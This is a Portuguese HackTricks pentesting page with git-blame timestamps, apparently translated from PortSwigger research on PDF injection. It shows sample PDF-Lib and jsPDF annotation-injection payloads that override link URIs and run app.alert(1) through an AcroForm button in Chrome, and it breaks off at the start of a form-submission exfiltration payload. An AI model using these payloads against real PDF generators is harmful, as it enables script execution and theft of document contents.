hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection.md

69 lines
6.3 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
**Se a sua entrada estiver sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript ou roubar o conteúdo do PDF.**
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
As seguintes informações foram retiradas de [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
2020-12-24 09:46:40 +00:00
2022-05-01 12:41:36 +00:00
## PDF-Lib
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
Desta vez, eu estava usando o [PDFLib](https://pdf-lib.js.org). Levei algum tempo para usar a biblioteca para criar uma anotação e ver se eu poderia injetar um parêntese de fechamento na URI da anotação - e funcionou! O código vulnerável de amostra que usei para gerar o código de anotação foi:
2020-12-24 09:47:43 +00:00
2021-11-30 16:46:07 +00:00
`...` \
2022-04-05 22:24:52 +00:00
`A: {`\
`Type: 'Action',`\
`S: 'URI',`\
``URI: PDFString.of(`injection)`),``\
`}`\
`})`\
`...`
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
[Código completo:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
Como eu sabia que a injeção foi bem-sucedida? O PDF seria renderizado corretamente, a menos que eu injetasse um parêntese de fechamento. Isso provou que o parêntese de fechamento estava saindo da string e causando código PDF inválido. Quebrar o PDF foi legal, mas eu precisava garantir que pudesse executar JavaScript, é claro. Eu olhei para o código PDF renderizado e notei que a saída estava sendo codificada usando o filtro FlateDecode. Eu escrevi um pequeno script para descomprimir o bloco e a saída da seção de anotação ficou assim:`<<`\
2022-04-05 22:24:52 +00:00
`/Type /Annot`\
`/Subtype /Link`\
`/Rect [ 50 746.89 320 711.89 ]`\
`/Border [ 0 0 2 ]`\
`/C [ 0 0 1 ]`\
`/A <<`\
`/Type /Action`\
`/S /URI`\
`/URI (injection))`\
`>>`\
`>>`
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
Como você pode ver claramente, a string de injeção está fechando o limite de texto com um parêntese de fechamento, o que deixa um parêntese de fechamento existente que faz com que o PDF seja renderizado incorretamente:
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
![Captura de tela mostrando uma caixa de diálogo de erro ao carregar o PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
Ótimo, então eu poderia quebrar a renderização do PDF, e agora? Eu precisava criar uma injeção que chamasse algum JavaScript - o alert(1) da injeção PDF.
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
Assim como os vetores XSS dependem do parsing do navegador, a explorabilidade da injeção PDF pode depender do renderizador PDF. Decidi começar vis
2022-05-01 12:41:36 +00:00
## Chrome
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
Falei muito sobre o Acrobat, mas e o PDFium (leitor de PDF do Chrome)? O Chrome é complicado; a superfície de ataque é muito menor, pois o suporte ao JavaScript é mais limitado do que o do Acrobat. A primeira coisa que notei foi que o JavaScript não estava sendo executado em anotações, então meus testes de conceito não estavam funcionando. Para fazer os vetores funcionarem no Chrome, eu precisava pelo menos executar JavaScript dentro das anotações. Primeiro, decidi tentar sobrescrever uma URL em uma anotação. Isso foi bem fácil. Eu poderia usar a injeção base que criei antes e simplesmente injetar outra ação com uma entrada URI que sobrescreveria a URL existente:`var doc = new jsPDF();`\
2022-04-05 22:24:52 +00:00
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)``\
``/Type/Action>>/F 0>>(`});``\
`doc.text(20, 20, 'Test text');`
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
Isso navegaria para portswigger.net quando clicado. Então, passei a tentar diferentes injeções para chamar JavaScript, mas isso falharia todas as vezes. Eu pensei que era impossível de fazer. Eu dei um passo atrás e tentei construir manualmente um PDF inteiro que chamaria JavaScript a partir de um clique no Chrome sem uma injeção. Ao usar um botão AcroForm, o Chrome permitiria a execução do JavaScript, mas o problema era que ele exigia referências a partes do PDF. Eu consegui criar uma injeção que executaria JavaScript a partir de um clique no JSPDF:`var doc = new jsPDF();`\
2022-04-05 22:24:52 +00:00
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});``\
`doc.text(20, 20, 'Click me test');`
2020-12-24 09:46:40 +00:00
2023-06-06 18:56:34 +00:00
Como você pode ver, o vetor acima requer conhecimento da estrutura do PDF. \[ 3 0 R] refere-se a um objeto PDF específico e, se estivéssemos fazendo um ataque de injeção de PDF cego, não saberíamos a estrutura dele. Ainda assim, a próxima etapa é tentar uma submissão de formulário. Podemos usar a função submitForm para isso, e como a anotação requer um clique, o Chrome permitirá:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898